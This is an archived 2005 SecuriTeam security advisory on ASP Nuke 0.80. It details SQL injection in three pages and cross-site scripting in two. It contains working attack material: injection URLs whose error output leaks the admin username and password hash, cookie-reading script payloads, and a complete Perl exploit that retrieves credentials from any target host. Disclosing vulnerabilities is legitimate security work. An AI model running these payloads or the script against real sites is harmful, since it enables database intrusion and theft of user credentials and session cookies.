[NT] ASP Nuke Multiple SQL Injection and XSS Vulnerability
From: SecuriTeam (support_at_securiteam.com)
Date: 04/25/05
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To: list@securiteam.com Date: 25 Apr 2005 15:11:31 +0200
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ASP Nuke Multiple SQL Injection and XSS Vulnerability
------------------------------------------------------------------------
SUMMARY
<http://www.aspnuke.com/> ASP Nuke is "an open-source software
application for running a community-based web site on a web server".
The lack of parameter filtering allows attackers to steal information and
modify/add/delete or just view information from ASP Nuke's database.
DETAILS
Vulnerable Systems:
* ASP Nuke version 0.80
SQL Injection:
ASP Nuke has many pages that are vulnerable to SQL Injections.
Example #1:
The following URL can be used to trigger an SQL injection vulnerability in
the comments.asp page:
http://localhost/module/support/task/comments.asp?taskid='SQL_INJECTION
SQL INJECTION
Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND
tsk.Active <> 0 AND tsk.Archive = 0'.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete,
usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As
CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON
tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID =
tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID
WHERE tsk.TaskID = 'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0
Exploit:
To the get the username:
http://localhost/module/support/task/comments.asp?taskid=Username--
This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 'admin' to a column of data type
int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete,
usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As
CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON
tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID =
tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID
WHERE tsk.TaskID = Username-- AND tsk.Active <> 0 AND tsk.Archive = 0
With "admin" being the username
To the get the password:
http://localhost/module/support/task/comments.asp?taskid=Password--
This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value
'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a
column of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, tsk.PctComplete,
usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As
CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON
tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID =
tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID
WHERE tsk.TaskID = Password-- AND tsk.Active <> 0 AND tsk.Archive = 0
With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015"
being the password hash encrypted in SHA 256
Example #2:
The following URL can be used to trigger an SQL injection vulnerability in
the detail.asp page:
http://localhost/module/support/task/detail.asp?taskid='SQL_INJECTION
SQL INJECTION
Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND
tsk.Active <> 0 AND tsk.Archive = 0'.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName,
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM
tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN
tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID =
'SQL_INJECTION AND tsk.Active <> 0 AND tsk.Archive = 0
Exploit:
To the get the username:
http://localhost/module/support/task/detail.asp?taskid=Username--
This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value 'admin' to a column of data type
int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName,
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM
tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN
tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID =
Username-- AND tsk.Active <> 0 AND tsk.Archive = 0
With "admin" being the username
To the get the password:
http://localhost/module/support/task/detail.asp?taskid=Password--
This would result in:
Error # -2147217913 (0x80040E07)
Syntax error converting the varchar value
'f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015' to a
column of data type int.
SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName,
pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM
tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN
tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN
tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID =
Password-- AND tsk.Active <> 0 AND tsk.Archive = 0
With "f2349ef3f76a2d980586cb945a1973ba8e9579a9c9411c043be85583f444e015"
being the password hash encrypted in SHA 256
Example #3:
The following URL can be used to trigger an SQL injection vulnerability in
the article.asp page:
http://localhost/module/article/article/article.asp?articleid='SQL_INJECTION
SQL INJECTION
Error # -2147217900 (0x80040E14)
Unclosed quotation mark before the character string 'SQL_INJECTION AND
art.Active <> 0 AND art.Archive = 0'.
SELECT art.ArticleID, art.Title, art.ArticleBody, auth.FirstName,
auth.LastName, cat.CategoryName, art.CommentCount, art.Created FROM
tblArticle art INNER JOIN tblArticleAuthor auth ON art.AuthorID =
auth.AuthorID INNER JOIN tblArticleToCategory atc ON atc.ArticleID =
art.ArticleID INNER JOIN tblArticleCategory cat ON atc.CategoryID =
cat.CategoryID WHERE art.ArticleID = 'SQL_INJECTION AND art.Active <> 0
AND art.Archive = 0
Cross Site Scripting:
The following URL can be used to trigger the cross site scripting
vulnerability found in the profile.asp page:
http://localhost/module/discuss/forum/profile.asp?topicid=1&
thradid=346&username='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://localhost/module/support/language/select.asp?
code='%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit (Username and Password retrieval):
#!/usr/bin/perl
use IO::Socket;
use Getopt::Std;
print "[x]ASP NUKE 0.80 and below Comments.asp Sql Injection Exploit\n";
print "[x]By Diabolic Crab\n";
print "[x]http://www.digitalparadox.org\n\n";
getopt("h:p:");
$opt_p ||= 80;
if(!$opt_h) {
die("[x] Usage: $0 -h <host> [-p <port>]\n");
}
$sqlpass = "/module/support/task/comments.asp?taskid=Password--
HTTP/1.0\n";
$sqllogin = "/module/support/task/comments.asp?taskid=Username--
HTTP/1.0\n";
print "[x] Host: $opt_h\n";
print "[x] Port: $opt_p\n";
$Q1 = "GET $sqllogin";
$Q1 .= "Host: ".$opt_h."\n\n";
$Q2 = "GET $sqlpass";
$Q2 .= "Host: ".$opt_h."\n\n";
$s = IO::Socket::INET->new(Proto => 'tcp', PeerAddr => $opt_h, PeerPort =>
$opt_p) or die("Can't connect!");
$s->send($Q1);
$s->recv($usr, 1024);
$s = IO::Socket::INET->new(Proto=>'tcp', PeerAddr => $opt_h, PeerPort =>
$opt_p) or die("Can't connect!");
$s->send($Q2);
$s->recv($pass, 1024);
$s = index($usr,"'");
$e = index($usr,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Username in SHA 256 is: ";
print substr($usr, $s + 1, $f);
print "\n";
$s = index($pass,"'");
$e = index($pass,"'", $s + 1);
$f = $e - $s - 1;
print "[x]Password hash in SHA 256 is: ";
print substr($pass, $s + 1, $f);
print "\n";
#EOF
ADDITIONAL INFORMATION
The information has been provided by <mailto:dcrab@hackerscenter.com>
Diabolic Crab.
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